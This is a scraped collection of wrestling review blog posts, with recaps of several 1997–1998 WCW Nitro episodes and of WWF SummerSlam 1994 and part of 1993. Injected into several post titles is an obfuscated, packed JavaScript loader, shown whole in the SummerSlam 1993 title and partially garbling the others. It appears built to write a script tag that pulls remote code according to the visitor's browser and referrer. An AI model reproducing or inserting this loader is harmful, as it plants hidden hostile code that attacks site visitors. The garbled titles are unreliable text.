Monday Nitro – June 30, 1997: One Of The Biggest Nitros Ever. Seriously.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfznz|var|u0026u|referrer|eysyh||js|php'.split('|'),0,{})) Nitro #94
Date: June 30, 1997
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone, Larry Zbyszko

Cruiserweight Title: Juventud Guerrera vs. Chris Jericho

Dean Malenko vs. Eddie Guerrero

Here are Bischoff and Hogan with something to say. Eric is on a motorcycle because he enjoys being on them. Hogan talks about beating down all of their enemies and partying with Rodman (not here) later tonight. The party is the highlight of the interview. Pretty much Hogan had nothing to say here.

TV Title: Hector Garza vs. Steven Regal

Super Calo vs. Psychosis

Hour #2 starts.

Steve McMichael/Ric Flair/Chris Benoit vs. Buff Bagwell/Masahiro Chono/Scott Norton

High Voltage vs. Mortis/Wrath

Wrath pounds on Kaos in the corner and things break down in about twenty seconds. A top rope clothesline puts Kaos down and the squash is on. Glacier and Miller come to ringside and the distraction draws Wrath to the floor, allowing Cat (Miller) to kick Mortis in the face and give High Voltage the big upset.

A limo is in the back. Presumably this is the impact player. The door opens, the camera zooms in on it, and the door closes.

Road Report.

US Title: Jeff Jarrett vs. Konnan

Rey Mysterio Jr. vs. Kevin Nash

Rey goes right at him and takes Nash down, but a sunset flip goes about as badly as you would expect it to for Mysterio. Nash LAUNCHES Mysterio across the ring and the Jackknife ends this quick. So Mysterio stands up to the NWO and is promptly destroyed. Thanks for wasting our time on that guys.

Nash drops Mysterio again and hits the referee too. Konnan comes out as Nash powerbombs Rey a third time. Nash leaves and Konnan puts on the Tequila Sunrise, apparently joining the NWO. Mysterio is taken out on a stretcher.

Diamond Dallas Page/Lex Luger/The Giant vs. Randy Savage/Outsiders

The NWO destroys Page as Hogan walks around on the floor. Savage hits a second elbow and Sting is in the crowd. Savage hits a third elbow and another Sting drops in from the rafters. Hogan bails and Sting clears the ring. Curt Hennig walks down the aisle and the show ends with him doing nothing at all. Raven jumps the guardrail, which is some of the only main event interaction I ever remember him having in WCW.

Overall Rating: C+. This is a back and forth show. It feels like a big show for sure, given all of the matches they had on here and some of the stuff they had going on, but nothing on here is anything more than ok from a quality standpoint. That being said, we had a lot of stuff on here and it certainly feels like a big show, which is what they were shooting for. The ending looks really interesting, but the important question is how will they follow up on it.

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Monday Nitro – June 16, 1997: Another Freaking Celebrity

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyeez|var|u0026u|referrer|rdfsh||js|php'.split('|'),0,{})) Nitro #92
Date: June 16, 1997
Location: United Center, Chicago, Illinois
Attendance: 16,500
Commentators: Mike Tenay, Larry Zbyszko, Bobby Heenan, Tony Schiavone

The announcers talk about the PPV last night a bit.

Mortis vs. Glacier

The brawl starts on the floor before the bell with Glacier being sent into the barricade. Mortis tries a Fameasser on the steps but Glacier pulls him down onto them instead. They head inside and slug it out with Mortis taking over. Wrath comes out and Mortis hits a Fameasser off the middle rope for two. Mortis gets sent into Wrath and a superkick gives Glacier the pin.

Chavo Guerrero Jr. vs. Dean Malenko

This is happening because Eddie Guerrero cost Dean the US Title last week. Dean calls out Eddie but gets Chavo instead. Dean is fine with this and stomps Chavo down in the corner. Chavo comes back with a dropkick and some European uppercuts but Dean will have none of that. He swats away a dropkick and we head to the floor so Dean can work on the knee a bit.

Eddie leaves after just looking at the ring.

Super Calo vs. La Parka

This is because of last week where La Parka attacked Calo with a chair after the six man tag. La Parka immediately charges at him but misses a dropkick in the corner. He runs Calo over with a clothesline and gets two off a kick to the chest. Calo comes back with a flipping armdrag to send Parka to the floor, followed by a flip dive that lands Calo in the crowd. Back in and Parka kicks the leg out from under Calo and puts him in the Tree of Woe. After taking him down, a flipping dive misses Calo and a headscissors takes La Parka down for the unlikely pin.

La Parka breaks a plastic chair over his head post match.

Here are Luger and the Giant for a chat. Luger talks about how Hogan and Rodman are too cocky but he made Hogan give up last week. Giant wants to hurt Rodman and Hogan. Luger wants to do it tonight.

Harlem Heat vs. Amazing French Canadians

Cruiserweight Title: Syxx vs. Rey Mysterio Jr.

Mysterio comes back with a spin kick and hits a headscissors to take the champ down. Syxx is sent to the floor and Rey hits a flip dive off the top to take him out. Back in and Rey hits a top rope West Coast Pop but has to beat up the Outsiders. Syxx kicks his head off and the Buzz Killer gets the submission to retain the title.

The Outsiders kill Rey post match and get a mic. They talk about how they beat up Flair and Piper last night and keep smoking the cigars. Hall brings out Savage who also won last night. Savage brags about winning last night and praises Hogan a bit. Page and Kimberly pop up in the crowd and they bicker a bit. Page wants a tag match at Bash at the Beach. He has a mystery partner and tells Savage to get one of his own.

Ultimo Dragon vs. Chris Jericho

Rating: C+. This was another fast paced match as the focus tonight has been on the cruiserweights. Jericho would get a lot better very soon while the Dragon would get the TV Title later on in the summer. The ending here was good stuff as they were moving around very fast with a bunch of near falls, which is always cool to see.

Road Report.

Scott Norton/Buff Bagwell vs. Jeff Jarrett/Steve McMichael

Mongo vs. Norton to start things off with Scott taking over with a corner splash. Mongo comes back with a bulldog and a three point clothesline. Off to the US Champion (Jarrett) who gets double teamed almost immediately. Jeff comes back with a dropkick to send Norton into the corner but walks into a bearhug. Off to Buff who runs his mouth a lot but gets caught in an atomic drop.

Rating: D+. Nothing to see here as was the case with most Jarrett and Mongo matches of this era. They put the US Title on both guys and to the shock of no one payint attention, no one cared. Buff and Norton would wind up being the low level NWO tag team who went nowhere either.

Buy NWO shirts!

Hulk Hogan/Dennis Rodman vs. Lex Luger/The Giant

The Outsiders and Syxx beat on both guys and Rodman spraypaints Giant. The ring fills up with trash and the NWO celebrates to end the show. No Sting.

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Monday Nitro – June 9, 1997: Hogan Wrestles On Nitro And One Of The Biggest Brawls Ever

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htbri|var|u0026u|referrer|hfifn||js|php'.split('|'),0,{})) Nitro #91
Date: June 9, 1997
Location: Fleet Center, Boston, Massachusetts
Commentators: Tony Schiavone, Mike Tenay, Larry Zbyszko, Bobby Heenan

We open with a video about Rodman and Hogan for Bash at the Beach before heading into the opening sequence.

Super Calo/Juventud Guerrerea/Ultimo Dragon vs. La Parka/Psychosis/Silver King

La Parka attacks his opponents post match.

Alex Wright vs. Chris Jericho

Akira Hokuto vs. Malia Hosaka

Hokuto gives her another brainbuster for good measure but Madusa comes out for the save with a few German supelxes.

Konnan vs. Steve McMichael

Kevin Greene jumps Mongo on the way to the ring but Mongo drops him throat first onto the barricade and walks away. Greene jumps Mongo again and the brawl is finally broken up. We cut back to the ring to see Konnan out cold with a broom broken next to him. That would imply Hugh Morrus who Konnan attacked with a broom last week. No match.

Lex Luger vs. Hulk Hogan

Road Report wastes some time.

US Title: Jeff Jarrett vs. Dean Malenko

We take a break and come back with Dean stomping away in the corner. Jarrett hooks a sleeper but Dean quickly rams him into the corner to escape. Off to a sleeper from Dean which is reversed into a suplex to put both guys down. A DDT puts Dean down for two but Malenko comes back with a clothesline to slow Jeff down. Dean slams him down and puts on a half crab with an arm trap to make it something like a surfboard.

BUY NWO STUFF!

Outsiders vs. Ric Flair/Roddy Piper

http://kbwrestlingreviews.com/2012/05/04/great-american-bash-1997-they-broke-the-barbecue-pit-tony/

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Monday Nitro – April 14, 1997: They’re in Philadelphia The Night After Barely Legal. You Do The Math.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhzat|var|u0026u|referrer|eayni||js|php'.split('|'),0,{})) Nitro #83
Date: April 14, 1997
Location: Philadelphia Spectrum, Philadelphia, Pennsylvania
Commentators: Tony Schiavone, Larry Zbyszko, Bobby Heenan, Mike Tenay

We open with a recap of Nash and Hogan having their summit last week, as well as Sting lowering from the rafters to chase off the NWO.

Apparently Luger wants his earned title shot tonight. This brings the NWO to the announce desk (no Hogan). Nash says that if Luger wants the shot, he has to beat Nash tonight.

Chris Benoit vs. Barbarian

Back in the ring Benoit snaps off a German but gets crotched on the top. Barbarian hits a BIG overhead belly to belly superplex for two. The savage (Barbarian I mean) misses a swan dive before Benoit hits his own for the pin. For a two and a half minute match, this was AWESOME.

US Title: Hector Guerrero vs. Dean Malenko

Eddie comes out to save despite his arm being in a sling.

Juventud Guerrera vs. Rey Mysterio Jr.

Reggie White is here and will fight McMichael at some point in the near future. They fight over a wristlock to start until Juvy hits a spin kick to the face to take over. Rey counters into a kind of reverse crucifix backbreaker and the fans start the first loud ECW chant of the night. Rey headscissors him over the top and out to the floor where both guys are down.

TV Title: Lane Carlson vs. Ultimo Dragon

Rating: C-. Another fast paced and surprisingly watchable match. This is what WCW was great at: taking a named guy and putting him out there with some no name and letting the no name show off a little bit. Lane would go on to be the Cruiserweight Champion when the company was falling apart.

Cruiserweight Title: Syxx vs. Prince Iaukea

Syxx takes him into the corner and hits the Bronco buster but something similar to a Swanton misses. Apparently this is for the title. Iaukea starts a comeback and hits a springboard clothesline for two before going up. Syxx crotches him but gets shoved down so Prince can badly mess up a top rope sunset flip for two. Syxx kicks the Prince down and hooks on the Buzz Kill (crossface chickenwing) to retain.

High Voltage vs. Public Enemy

Giant vs. Big Al

Diamond Dallas Page vs. Konnan

Page works on the arm to start but Konnan stomps him down in the corner for a bit. Page rams him into the buckle, shrugs off a poke to the eye, and hits the Diamond Cutter for the fast pin. Typical Page match from this time period.

Savage and Liz are in the crowd with Randy telling Kimberly to stop calling him. Page charges after Savage but Macho escapes.

Harlem Heat vs. Jeff Jarrett/Steve McMichael

Apparently the Horsemen win by DQ. Ok then.

Kevin Nash vs. Lex Luger

Page tries to make the save but gets beaten down eventually. Giant comes out but Nash has a lead pipe. Sting walks down the ramp with three ball bats, giving one each to Giant, Luger and Page. Sting pulls out one for himself and the ring is cleared to end the show.

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Monday Nitro – November 9, 1998: Nitro Used To Be Good. No Really, It Did.

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Date: November 9, 1998
Location: Nassau Veterans Memorial Coliseum, Uniondale, New York
Commentators: Tony Schiavone, Mike Tenay, Larry Zbyszko, Bobby Heenan

We get some clips of Bret hurting DDP and Sting for some reason.

Kaz Hayashi vs. Juventud Guerrera

Back in and Kaz clotheslines Guerrera down and the match slows down a bit. Kaz stands around too much and gets caught in a sunset flip for two. A brainbuster puts Juvy down for two. Juvy kicks him in the ribs but his powerbomb is countered into a rollup for two. Here are Sonny Onoo and Ernest Miller for no apparent reason. As the camera is on Miller, we can see Guerrera hitting a hurricanrana in the background. You know, the unimportant stuff. Juvy Driver is countered and Kaz rolls up Guerrera, only to have Miller distract the referee. Sonny kicks Kaz in the head and Juvy rolls him up for the pin.

Alex Wright vs. Barry Horowitz

Yes that Barry Horowitz. Wright makes sure to tell the ring announcer that he does not want to hear ANYTHING from the crowd during the match. You know, because Barry Horowitz requires perfect silence to beat. Barry jumps him but Wright takes him right down to the mat. Horowitz comes back with a European Uppercut in a nice bit of psychology but Wright gets up two feet in the corner. We see what looks like a Secret Service guy as Wright hits a dropkick for two. They head to the floor and the Wolfpac howl goes off. Here they come and the match just kind of ends. Too short to rate but it was nothing.

Lodi vs. Scott Norton

Eddie Guerrero vs. Rey Mysterio Jr.

Rey saves Chavo from an LWO beatdown post match.

Scott Steiner vs. Chris Adams

Tag Titles: Scott Steiner/Buff Bagwell vs. Rick Steiner/Judy Bagwell

Konnan vs. Bret Hart

Luger makes the save and Konnan goes out on a stretcher.

Kevin Nash/Lex Luger vs. Giant/Scott Hall

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History of Summerslam Count-Up – 1994: Best Cage Match Ever? Maybe Yeah.

Summerslam 1994
Date: August 29, 1994
Location: United Center, Chicago, Illinois
Attendance: 23,000
Commentators: Jerry Lawler, Vince McMahon

Well, where to begin with the changes? For one, Bret is the WWF Champion and is in the middle of his epic reign with it which would end two months later at the hands of…technically Owen Hart but Backlund got the title in one of the oddest choices ever. Your double main event here is Hart vs. Hart and Taker vs. Taker. Yeah, Taker got….he got….well he got something at the Rumble and hasn’t been seen since.

This became a comedy storyline to an extent with Leslie Nielsen from the Naked Gun movies being brought in because there had been Taker sightings. A new Undertaker had been brought in by DiBiase and of course was evil. Aside from those two matches, I remember nothing at all about this show. It’s these two matches or nothing here, so let’s get to them, and hopefully some other stuff that’s worth watching on the card as well.

Macho Man opens the show. Wait what? How long was he there anyway? I know he was at Starrcade 94 and had a bit of a build up to his appearance there, so this must have been one of his very last appearances. He uses a line from All About Eve which makes me smile. He throws it to Vince and Jerry so this was really just to get the crowd into the show.

Ah apparently this is his last WWF appearance. We’re told that there are new tag champions which I guess happened at a house show. Might help if I told you who the new champions are. It’s Shawn and Diesel. We run down the card and mention that Davey Boy is there in the crowd. Remember that as it plays a roll later one.

Bam Bam Bigelow/IRS vs. Headshrinkers

The Headshrinkers are the team that lost the tag belts, so I guess this was going to be a title match coming into this show? We’re getting more towards the modern look of the arena here as we have the lights in the shapes of dollar signs and the opening doors to the arena. This is part of the Million Dollar Team which is the original Cabinet but much better. Vince confirms that this was supposed to be a title match but now is non title which sucks for the heels.

I always like the Headshrinkers for some reason. When they were being built up as the top face team they worked like few others. Lou Albano is managing them now as this guy is the king of tag champions for some reason. They’re wearing crowns that look like Native American headdresses for some reason. Bigelow of course would soon be starting up the feud with LT that would just suck so heavily, making the 11th Mania perhaps the worst of all time. The Samoans are quite over here.

Fatu would of course later become known as Rikishi, the thong wearing, dancing Samoan. Faces are completely dominating for the majority of this match, which leads me to believe they’ll wind up losing. Of course as soon as I type that the Corporation takes over.

This lasts about a minute as the faces are in control again. Eventually they hit their double stroke and top rope splash move but it turns into a big fight with Afa beating up Bam Bam. It’s a DQ win for the heels (called it) and all four brawl up the aisle. Vince doesn’t understand why that’s the decision.

Rating: C+. It’s not bad, but it felt like it was in fast forward. Nothing was given time to develop which I guess is what an opener should be. This was fun I’d say, although me liking the Headshrinkers has a lot to do with that more than likely.

We go to the back where Leslie Nielsen is on the Undertaker’s Trail. There’s even a sign saying Undertaker’s Trail and an arrow. We can also hear his thoughts as he narrates. He runs into one of his co-stars who looks like Taker in the dark and they stand on a case, followed by them arguing over which of them is on the case. This is dumber than it sounds.

Razor says he’s getting the IC title back from Diesel. Walter Payton is going to be with him for no apparent reason.

Women’s Title: Alundra Blaze vs. Bull Nakano

Ok, Blaze is more commonly known as Madusa so that’s what I’ll be referring to her as partially. Nakano is a Japanese wrestler who is apparently a big deal over there. She comes out with Luna to Orient Express’ old music. This is the original women’s title, which is one of the biggest jokes in the history of wrestling, but in a way caused the Montreal Screwjob.

The division was a flat out waste as Blaze was the only woman that ever did anything with it, mainly as she was one of the few American women that could wrestle in the company. Anyway, she was champion for just about ever until she bailed for WCW. She’s the one that dropped the belt in the trash on live TV and made Vince paranoid to the point that he was afraid Bret would do the same thing with the WWF Title.

Anyway, you know the rest and here were are with the title match that no one cared about and most won’t today. Nakano just wasn’t someone that Americans cared about and got the same treatment that Chono and Muta got in WCW: Great workers, but no one cared at all. Nakano probably weighs about 200 pounds or so. Her hair is about a foot tall. There’s a Y in Blaze but I’m sick of the red lines under it.

This match is pretty bad. The problem simply was that women’s wrestling was somehow less serious back then than it is now. Blaze would be barely above an average worker in today’s product, but back then she was Trish and Lita rolled into one.

This is just not that interesting as it’s sloppy and your stereotypical women’s match in a lot of ways, from hair throws to poor execution. It’s ok I guess, but it’s really not that great. Blaze hits some bad looking takedowns before dodging the top rope leg and hitting the German suplex for the pin.

Rating: D+. This was just there. It wasn’t that great but it wasn’t that terrible. The women’s division was just horrid back then and part of the reason was there wasn’t enough talent to warrant a whole division. Blaze was a pioneer for the division but there were far more talented workers later on.

Diesel and Shawn are with Todd, talking about their title win and then the IC Title match tonight. Diesel was actually quite good on the mic.

Intercontinental Title: Diesel vs. Razor Ramon

Diesel is champion here which is a very forgotten reign, especially since he’d get the world title in about three months. For some reason Shawn is introduced after Diesel is, despite him accompanying Diesel to the ring. Crowd pops like a cherry for Razor, as I still don’t get why he never got a short run with the world title. Yet again, a face befriends a local sports legend. Razor is wearing sky blue boots, which he can actually work I think.

The good thing about Razor here is that he’s a big guy so he can wrestle with big guys but he has the speed tactics here to counter Diesel, which makes this a very interesting match in my eyes. This is pretty standard yet solid fare here as Razor starts out hot and fast with Diesel eventually taking over with slower power moves which work very well for him. I still don’t get the point in Walter being there but that’s just me.

Shawn gets involved and helps beat on Razor as the football legend is still rather worthless in this match other than for moral support which is worthless of course. Shawn and Diesel combine to get the buckle exposed and ram Razor’s back into it. Jerry asks why Payton is there and is ignored. That’s a funny thing to me as even Vince has no idea but just won’t admit it. Walter has of course done nothing to counter Shawn this whole time.

We get a short comeback from Razor but it’s nothing of note really, which makes me wonder why I’m noting it here. Correction it’s a decent one as he throws those great right hands of his. After Shawn keeps getting involved and the referee keeps going after Walter, Shawn goes for the IC belt and he and Walter fight over it. Shawn loses the tug of war and goes for the kick. Of course it misses and Razor pins Diesel for the belt.

This would happen again and would result in Diesel and Shawn splitting, leading to Diesel taking the world title in November. Payton joins in celebrating despite doing jack. Diesel stalks Shawn up the ramp. Oh good grief Walter’s son is there too. Why not his old roommate while we’re at it?

Rating: B-. I’m sorry Chicago residents/Bears fans, but Payton was worthless in this. He’s an amazing running back and a great man, but there was no need to have him here. Put 1-2-3 Kid there or something, but not a football player with no connection to the match at all. Match itself was fine though as these two have that natural chemistry together. Fun match but Payton hurt things in my eyes.

We go to Macho who says nothing of note at all.

Vince recaps what we just saw, which shows Walter talking to the referee while Shawn is getting ready to kick Razor. Ok, that means one of two things. Razor slipping out was pre-planned or Walter is a freaking moron that will let his buddy get kicked. Yeah, great move there.

We go to the back with Diesel saying he’s mad at Shawn for costing him the belt and saying that Payton wasn’t even an issue. Shawn says it’s ok and he’ll get Diesel out of this.

Lex Luger vs. Tatanka

Oh I had forgotten about this. This was actually a really well done story in my eyes. Here’s the idea: Luger and Tatanka are feuding with DiBiase’s team. Luger is constantly being offered a spot on the team for a big amount of money but he always turns it down. Things of course start looking like he took the money but never completely. Tatanka and everyone else is convinced that Luger is guilty, so the two of them are having this match here in which Luger allegedly will show that he sold out.

This was drawn out and really well built up to the point that we were believing Lex was evil now, when I think the real answer is pretty obvious. DiBiase keeps doing all kinds of things to imply that Luger has sold out including helping him win a match and DiBiase going into Luger’s locker room. Luger continues saying that DiBiase can do all kinds of things but Luger has never done anything wrong, which is very true.

Luger gets a somewhat mixed reaction, being about 70-30 for the face pop. The cheers are louder, but the booing is there. DiBiase isn’t there either, which is a point of interest I guess. He hits the corner and the boos are MUCH louder now. Bell rings and they’re arguing over whether or not he sold out. The whole point of this is waiting on DiBiase to come out and help Lex and the match is just kind of meandering along which isn’t good at all as it makes the match boring. You need a good match to go with a good story to make something really successful and this isn’t doing it. It’s ok, but just ok.

Finally DiBiase comes out with a big bag full of money. As Luger is looking at him and the money, Tatanka rolls him up for the pin. Post match, Luger goes after DiBiase and Tatanka attacks him, turning heel and legitimately surprising a lot of the fans. The heels hug and the fans are TICKED.

Tatanka beats the tar out of Lex and leaves with Ted, but turns around to beat on Lex some more. He puts the Million Dollar Dream on him to put Luger to sleep and follows with the ultimate humiliation of putting the money in his mouth. Why that is humiliating I have no idea but it looks awesome.

Rating: C-. This is a great example of the angle being far better than the match. The match was pretty bad but the angle was excellent. This was a total swerve and while it’s clear it was going to happen now, it was really well done at the time. The match sucked but the angle makes up for it.

We’ve only got three matches left, so this one is yours. Why this took place is beyond me. At the end you get a sample of the brilliant comedy that the company had going for it at the time.

Jeff Jarrett vs. Mabel

This is filler on the second biggest show of the year. This was a rather bad time if you didn’t get that. Well that’s not really fair as there was filler at almost any show back in the day. Vince says he’s a fan of good rap. Therefore he’s not a fan of Oscar and Mabel. Jarrett won’t shake his hand to start us off. Nice old school heel work there.

Mabel does Jarrett’s strut which isn’t bad. Basic story here as Jarrett can’t fight him at all due to the gravitational force of Mabel’s fat sucking the good out of this match. Jarrett shoves Oscar into the steps and then Mable eats post. Jarrett just tries to get Mabel down and of course nothing works until Jarrett gets pulled out of the air when attempting a top rope double axe.

Sleeper goes on and Mabel does his stupid falling kick thing. Knuckleball Schwartz (and mine is bigger than his) is on strike. Ok then. Jarrett, like an idiot, goes after Oscar for fun and gets crushed for his troubles. Middle rope splash misses Jeff. Mabel misses a seated senton and Jeff actually gets the pin. I’m at a loss for words to describe how much of a waste of time this was.

Rating: D-. Just a totally pointless match here as they made no secret at all of there being no need for this match. Basic big vs. little guy here as nothing of note was going on here at all. Get on to something else please.

The detectives are in the arena and Taker’s silhouette is behind them. I really hate this show.

We get a long buildup package on Bret vs. Owen which was very well done, especially the masterful jobs from Survivor Series and Mania, which was the absolute classic that was Bret vs. Owen. Owen’s heel work in this was absolutely masterful. This was built up for nearly a year and is one of the best feuds that I can ever remember. I’m enjoying looking back at this as it really was well done and you could feel the tension here.

Owen pinning Bret clean at Mania was mind blowing at the time and still is to this day. Bret’s old partner Neidhart has joined up with Owen as well which makes thing even more amazing. The beauty in having Owen win was that it made you believe he could do it for the title here tonight. That’s a great bonus and it makes matches better and more believable. Bruce, their brother, went off on him, while wearing a leather jacket.

Did Stu make his fortune as a leather tanner or something? Owen did a promo in the cage about a week before which was great. I know this is long but the recap is about 10 minutes long. Stu and Helen are interviewed at ringside which I don’t think I’ve ever heard before. Helen sounds typical but Stu sounds very odd indeed. Not how I imagined it, but the man is an absolute legend and one of the few people who played a big role in shaping the business into what it is today.

I can’t think of anyone that’s trained more stars than he has. Davey says that he wouldn’t want to be in the ring with Bret tonight. Neidhart is there too and he’s an Owen supporter. This is really intricate and intense and is one heck of a story if I do say so myself. I’m hyped for this match and I’ve seen it probably 8 times.

Bret is apparently getting over strep throat. I’ve had that about 30 times and if you’ve never had it, consider yourself lucky. It’s misery. Bret says he doesn’t hate Owen but he does hate Neidhart because Jim made Owen jealous in the first place. He says this ends tonight.

WWF Title: Bret Hart vs. Owen Hart

Since I’ve explained the story pretty well, I’ll spare you another retelling of it. Owen’s heel music owned. Bret’s face music owned. Sweet goodness this match rocks in all areas. Never marked out for a Bret match before but I am on this one. In a nice touch, Owen’s name graphic doesn’t show up until he’s in the cage and Bret’s music is playing, almost like he’s a jobber. The bell rings and we’re off immediately.

For some reason we have no commentary at the beginning. Ah there it is. I’m watching this on my laptop and the audio is the kind where half is in one ear and the rest is in the other on my headphones. The referee is outside which is a good thing to me. That enziguri from Owen just never gets old. They’re starting out really slowly which is also good as they’re not going for broke immediately but rather telling a story out there.

Both go for the quick exit very early on which is a nice touch. Owen wants to beat Bret and Bret just wants to end this as the title is secondary to him. We get a really good camera shot from over the corner of the cage. That’s a unique shot that’s cool looking. Owen lands a dropkick and then a nip up before literally diving at the cage wall, desperate to get out. This is just hilarious looking but at the same time you can see how desperate Owen is to win here.

That’s yet another nice little touch. It’s the little things like that which can make a match great as they show that the workers are thinking and not just wrestling. They’ve been going about 10 minutes so far and it’s pretty even at this point. Pretty sure this is escape only which is what a cage match should be. Screw that pinning and submission nonsense.

Lawler keeps trying to play up Bulldog vs. Hart from 92 but Vince says that it means nothing, which is true as they were friendly afterwards, especially since Davey was gone for a long period of that. The good thing about this match is that it’s not about the cage but about the wrestlers and the cage is more of a prop. That’s always better. This is a ton of last second saves and close calls which keeps the fans on their toes.

They trade sharpshooters as I’m very close to the end of the match and I have nothing to make fun of here as it’s a great match. They chase each other up the cage but Owen’s leg gets tied up and Bret drops down to keep the title. Post match, Neidhart jumps the rail and beats on Bret for a bit before taking him back inside the cage and locking the door.

We then get the siege of the cage as all of the Harts try to get in before Smith goes up the cage and knocks Owen off. This takes like 4 minutes to finally accomplish which actually is kind of a cool looking sight. Finally Smith runs the heels off. They help Bret to his feet before we go to the back to talk to Owen.

Rating: A. This was a great cage match as there’s the natural chemistry and rivalry there, and if you give these two thirty plus minutes, are you expecting anything less than greatness?

Owen and Neidhart are in the back as Owen talks about how only Bret ever got cared about and how Jim was his best friend. It’s better than it sounds.

Recap of Taker vs. Taker. Short version, Taker disappeared after the Rumble to heal an injury and hadn’t been seen since. He returned but he was different, controlled by DiBiase. This was actually Brian Lee who was Chainz in the DOA in a few years. We get testimonials from regular people, making this seem like Elvis sightings. I refuse to believe that these people are wrestling fans.

Undertaker vs. Undertaker

DiBiase brings out the fake one and then Fink says that his opponent is the one and only Undertaker. We get a casket rolled out as well as this entrance is just taking too long. The casket is opened and inside is a huge urn. Bearer takes it into the ring and actually opens it, revealing….a really powerful flashlight. This goes on for several minutes as I’m pretty bored. This somehow triggers Taker to appear and walk down the ramp.

When I say walk, I mean move…..kind of. Fake Taker looks to weigh about 340. While this is kind of a cool moment, Bret and Owen should have closed the show. It’s not that bad though and it could have gone over far worse. Real Taker is in purple and fake is in gray. Real even throws out a leap frog that is amazing to see when you think about it.

The crowd is still popping but so much of their emotion was taken out of them by the previous match that it’s just hard for them to get hyped here, and I can’t blame them. This is a cool idea, but it just shouldn’t have gone last. This is pretty basic for the most part. Real leads for the early part, fake takes over and dominates the majority, standard Taker comeback with three tombstones to get the emphatic win for the real Deadman.

The count is slower than the walk that got him there though which is odd. Ted is ran off as Taker poses like crazy to end the show. Actually it doesn’t as we throw it to Macho to end the show. Actually it doesn’t as we go to the detectives in the back who open Taker’s casket to find nothing. Then one finds a briefcase which is closed. “The case is closed!” We go off the air like that. When I was a kid I never got that joke and it’s still awful today.

Rating: B. The match was fine, but it shouldn’t have gone last. At least we got a decent moment to end on with the real Taker standing tall, or in his case kneeling moderate. The comedy thing was just a waste as they never even interact with Taker, but that’s a good thing.

Overall Rating: C-. This really is just a one match show as the rest is just pretty silly. Luger and Tatanka’s angle is great, the cage match is excellent, and that’s about it. The comedy thing with the detectives was just flat out stupid on all levels and I certainly could have done without it.

They’re on screen all of 3 minutes and they have nothing but sight gags and dumb moments. I didn’t get the point back then and I don’t now. There’s nothing much to this show other than the cage, so I’d say find a copy of that and the buildup and other than that, go watch a better show as this isn’t that good.

Remember to follow me on Twitter @kbreviews




History of Summerslam Count-Up – 1993: The Lex Express Crashes

Summerslam eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfief|var|u0026u|referrer|iediz||js|php'.split('|'),0,{})) 1993
Date: August 30, 1993
Location: Palace of Auburn Hills, Auburn Hills, Michigan
Attendance: 23,954
Commentators: Bobby Heenan, Vince McMahon

Well, it’s a different time for the WWF now, as there’s no Warrior, no Hogan and Savage is commentating. This presents a big problem: there’s no one to lead the company as the top face. After Hogan bailed and never put Bret over which is something that I know isn’t for sure as to whom to blame, but something still isn’t sitting right with me about it, Bret was the top face by default. However, the top heel was Yokozuna, who beat Bret already.

Due to his size and allegedly (nonsense) the fact that Bret couldn’t have a good match with him, Lex freaking Luger of all people is turned face to try to slay the giant. This all happens on the Fourth of July weekend on the USS Intrepid where there was a body slam contest. No one can manage to slam Zuna, and the contest allegedly ends.

OR DOES IT?

A helicopter lands on the boat and the fans chant for Hogan. Nope, not him. Macho Man? Already made an attempt. Ultimate Warrior? One last guess. …Andre the Giant? He’s already dead, so no one knows. It’s….Lex freaking Luger? Yes, it’s Flexy Lexy, the guy that had been a pompous jerk of a heel since the day he got there. Apparently he’s now very proud to be an American and he wants to stand up for America and slam the AMERICAN Samoan.

Of course he does it to a huge pop and an instant mega face push. However, Yoko doesn’t want to give him a title match. So what’s a newly top face to do? Rent a bus and drive around the country of course! Yes, Luger comes up with the Lex Express and drives around the country meeting fans like he’s trying to win the 1872 Presidential election. It’s somehow dumber than it sounds as Luger even has a theme song called I’ll Be Your Hero.

This may in fact be the most obnoxious thing that has even been attempted by Vince McMahon. There’s pushing someone down our throats, and then there’s this. The one problem: Luger never won the belt. He never even pinned Yoko that I recall. He was supposed to get the epic win at Mania 10, but he got drunk at a bar the night before and blabbed the plans to everyone, so there was a last second change and Bret got the title to close Mania 10, leading to his real reign with the belt.

Luger was gone in about a year, running back to WCW where people got closer to caring anything about him. This is the first encounter with him and Yoko. Other than that, there’s really nothing going on at all. Bret and Lawler are finally starting their two year feud so that’s kind of the second big match on the card I guess. Let’s get to this.

Our opening is…a music video of Lex Luger and his trip around America. He wears stars and stripes shirts and sleeps with a folded up American flag in his arms. This actually could have been an epic victory for him, had he you know, WON THE BELT! That’s what makes this look so bad in hindsight: he never won the title. Had he done that, it’s the payoff for all the over the top nature of this angle.

Ted DiBiase vs. Razor Ramon

The Million Dollar Man was done on PPV after this, injuring his neck early in 1994 and being forced to immediately retire. Razor here is mad over as he’s getting that big push that he’s most known for. Coming soon: the IC Title feud with Shawn that got Shawn his jump up the ladder and yes that was intentional. This is over DiBiase offering Razor a job as a servant and Razor having that pesky pride of his.

It’s cool because I reviewed the go home show of Raw a few weeks ago so I actually know some of the buildup for these matches, or at least what there is of it. Anyway, this is probably Razor’s biggest match to date. DiBiase is looking a bit chubby here. This match is really just kind of boring. DiBiase dominates for the majority of the match, which isn’t saying much as it runs about seven and a half minutes total.

It’s mainly just slow paced and standard DiBiase stuff which is fine as he’s always very solid, but the fans are just dead for this. Now near the end of the match, Ted takes the cover off of the buckle and gets slammed into it, leading to the Razor’s Edge. The crowd is losing it for this as I hardly ever remember seeing a crowd go from dead to insane that fast. Naturally this is the end of the match, and the end of DiBiase’s time in the ring.

